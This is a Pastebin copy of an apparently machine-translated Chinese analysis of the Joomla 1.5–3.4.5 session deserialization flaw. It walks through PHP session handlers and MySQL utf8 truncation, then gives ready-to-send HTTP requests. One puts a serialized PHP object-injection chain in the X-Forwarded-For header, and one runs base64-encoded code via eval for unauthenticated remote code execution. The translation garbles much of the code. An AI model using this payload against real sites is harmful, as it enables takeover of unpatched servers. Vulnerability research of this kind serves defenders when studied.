Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Joomla Emergency Security Team released 3.4.6 version fixes a high-risk 0day vulnerabilities .
- Affects Version
- from Joomla 1.5 up until 3.4.5
- This vulnerability without logging, the front desk to code execution
- A, session deserialization
- php function session_set_save_handler ()
- The official manual describes as follows:
- Parameter read ()
- read (string $ sessionId)
- If the session has data, the callback function must return a string read session data coding (serialization) after. If the session is no data, read callback function returns an empty string.
- After the session is started automatically or by calling session_start () function to manually start the session, PHP internally calls read callback function to obtain session data. Before calling read, PHP will call open the callback function.
- string format read callback returned after serialization must be fully consistent with the format write callback function to save data. PHP strings will automatically deserialized returned and populates $ _SESSION superglobal. Although the data looks and serialize () function is similar, but need to be reminded that they are different.
- In short, by session_set_save_handler rewrite read method, the return value after deserialization fill $ _SESSION ()
- Examples are as follows:
- <? Php
- classFileSessionHandler
- {
- private $ savePath;
- function open ($ savePath, $ sessionName)
- {
- $ This-> savePath = $ savePath;
- if (! is_dir ($ this-> savePath)) {
- mkdir ($ this-> savePath, 0777);
- }
- return true;
- }
- function close ()
- {
- return true;
- }
- function read ($ id)
- {
- $ Data = @ file_get_contents ("$ this-> savePath / sess_ $ id");
- var_dump ($ data);
- return (string)file_get_contents ("$ this-> savePath / sess_ $ id");
- }
- function write ($ id, $ data)
- {
- ? // Return file_put_contents ("$ this-> savePath / sess_ $ id", $ data) === false false: true;
- }
- function destroy ($ id)
- {
- $ File = "$ this-> savePath / sess_ $ id";
- if (file_exists ($ file)) {
- unlink ($ file);
- }
- return true;
- }
- function gc ($ maxlifetime)
- {
- foreach (glob ("$ this-> savePath / sess_ *") as $ file) {
- if (filemtime ($ file) + $ maxlifetime <time () && file_exists ($ file)) {
- unlink ($ file);
- }
- }
- return true;
- }
- }
- $ Handler = new FileSessionHandler ();
- session_set_save_handler (
- array ($ handler, 'open'),
- array ($ handler, 'close'),
- array ($ handler, 'read'),
- array ($ handler, 'write'),
- array ($ handler, 'destroy'),
- array ($ handler, 'gc')
- );
- session_start ();
- var_dump ($ _ SESSION);
- Run Results
- 1.png
- As can be seen, the two vardump out the results, respectively, before and after serialization serialization
- Second, the database truncation
- Introduction "The character set named utf8 uses a maximum of three bytes per character and contains only BMP characters." Through the official website, mysql utf8 when in use, the upper limit of a character size of 3 bytes, and when there is four bytes When a character is needed to use utf8mb4 coding, do not use it, would not recognize the four-byte character string together back together discarded.
- For details, see: http://xteam.baidu.com/?p=177
- Third, the vulnerability analysis
- joomla will be user-agent and x-forwarded-for content to write session, outside controlled and did not carry out any filtering
- // Record proxy forwarded for in the session in case we need it later
- if (isset ($ _ SERVER ['HTTP_X_FORWARDED_FOR']))
- {
- $ This-> set ('session.client.forwarded', $ _SERVER ['HTTP_X_FORWARDED_FOR']);
- }
- // Check for clients browser
- if (in_array ('fix_browser', $ this -> _ security) && isset ($ _ SERVER ['HTTP_USER_AGENT']))
- {
- $ Browser = $ this-> get ('session.client.browser');
- if ($ browser === null)
- {
- $ This-> set ('session.client.browser', $ _SERVER ['HTTP_USER_AGENT']);
- }
- elseif ($ _SERVER ['HTTP_USER_AGENT']! == $ browser)
- {
- //todo Remove code: $ this -> _ state = 'error';
- //todo Remove code: return false;
- }
- }
- return true;
- }
- When writing to the database after the session, using the previously spoken truncated four-byte characters, so we write session can be successfully deserialized
- The following is the contents after write
- __default | a: 9: {s: 15: "session.counter"; i: 1; s: 19: "session.timer.start"; i: 1450172177; s: 18: "session.timer.last"; i : 1450172177; s: 17: "session.timer.now"; i: 1450172177; s: 24: "session.client.forwarded"; s: 435: "} __ test | O: 21:" JDatabaseDriverMysqli ": 3: { s: 2: "fc"; O: 17: "JSimplepieFactory": 0: {} s: 21: "disconnectHandlers"; a: 1: {i: 0; a: 2: {i: 0; O: 9: "SimplePie": 5: {s: 8: "sanitize"; O: 20: "JDatabaseDriverMysql": 0: {} s: 8: "feed_url"; s: 60: "eval (base64_decode ($ _ POST [111]) ); JFactory :: getConfig (); exit; "; s: 19:" cache_name_function "; s: 6:" assert "; s: 5:" cache "; b: 1; s: 11:" cache_class "; O : 20: "JDatabaseDriverMysql": 0: {}} i: 1; s: 4: "init";}} s: 13: "connection"; b: 1;}
- And the back is automatic deserialization session
- public function register ()
- {
- // Use this object as the session handler
- session_set_save_handler (
- array ($ this, 'open'), array ($ this, 'close'), array ($ this, 'read'), array ($ this, 'write'),
- array ($ this, 'destroy'), array ($ this, 'gc')
- );
- }
- Use the session_set_save_handler function rewrite the read () method
- read () method is as follows
- public function read ($ id)
- {
- // Get the database connection object and verify its connected.
- $ Db = JFactory :: getDbo ();
- try
- {
- // Get the session data from the database table.
- $ Query = $ db-> getQuery (true)
- -> Select ($ db-> quoteName ('data'))
- -> From ($ db-> quoteName ('#__ session'))
- -> Where (. $ Db-> quoteName ('session_id') '=' $ db-> quote ($ id).);
- $ Db-> setQuery ($ query);
- $ Result = (string) $ db-> loadResult ();
- $ Result = str_replace ('', chr (0). '*' Chr (0), $ result.);
- return $ result;
- }
- catch (Exception $ e)
- {
- return false;
- }
- }
- read () automatically after a deserialization operations return, resulting in objects php injection
- Fourth, exploit
- User-aget and X-FORWARDER-FOR can modify session
- GET / joomla / HTTP / 1.1
- Host: 192.168.152.130
- User-Agent: Mozilla / 5.0 (Windows NT 6.1; WOW64; rv: 30.0) Gecko / 20100101 Firefox / 30.0
- x-forwarded-for:} __ test | O: 21: "JDatabaseDriverMysqli": 3: {s: 2: "fc"; O: 17: "JSimplepieFactory": 0: {} s: 21: "disconnectHandlers"; a: 1: {i: 0; a: 2: {i: 0; O: 9: "SimplePie": 5: {s: 8: "sanitize"; O: 20: "JDatabaseDriverMysql": 0: {} s: 8 : "feed_url"; s: 60: "eval (base64_decode ($ _ POST [111])); JFactory :: getConfig (); exit;"; s: 19: "cache_name_function"; s: 6: "assert"; s : 5: "cache"; b: 1; s: 11: "cache_class"; O: 20: "JDatabaseDriverMysql": 0: {}} i: 1; s: 4: "init";}} s: 13: "connection"; b: 1;} ð Œ †
- Accept: text / html, application / xhtml + xml, application / xml; q = 0.9, * / *; q = 0.8
- Accept-Language: zh-cn, zh; q = 0.8, en-us; q = 0.5, en; q = 0.3
- Accept-Encoding: gzip, deflate
- Cookie: 82864b7eae85ebcf7a6fbdda5d464249 = h5kl99v8ddi9t64919sf706q64
- Connection: keep-alive
- Execute code
- POST / joomla / HTTP / 1.1
- Host: 192.168.152.130
- User-Agent: Mozilla / 5.0 (Windows NT 6.1; WOW64; rv: 30.0) Gecko / 20100101 Firefox / 30.0
- Accept: text / html, application / xhtml + xml, application / xml; q = 0.9, * / *; q = 0.8
- Accept-Language: zh-cn, zh; q = 0.8, en-us; q = 0.5, en; q = 0.3
- Accept-Encoding: gzip, deflate
- Cookie: 82864b7eae85ebcf7a6fbdda5d464249 = h5kl99v8ddi9t64919sf706q64
- Connection: keep-alive
- Content-Type: application / x-www-form-urlencoded
- Content-Length: 24
- 111 = cGhwaW5mbygpOw% 3d% 3d
- Taken to ensure consistency of data in the cookie can be
- 2.jpg
- Related Links
- [1] https://docs.joomla.org/Security_hotfixes_for_Joomla_EOL_versions
- [2] http://php.net/session_set_save_handler
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement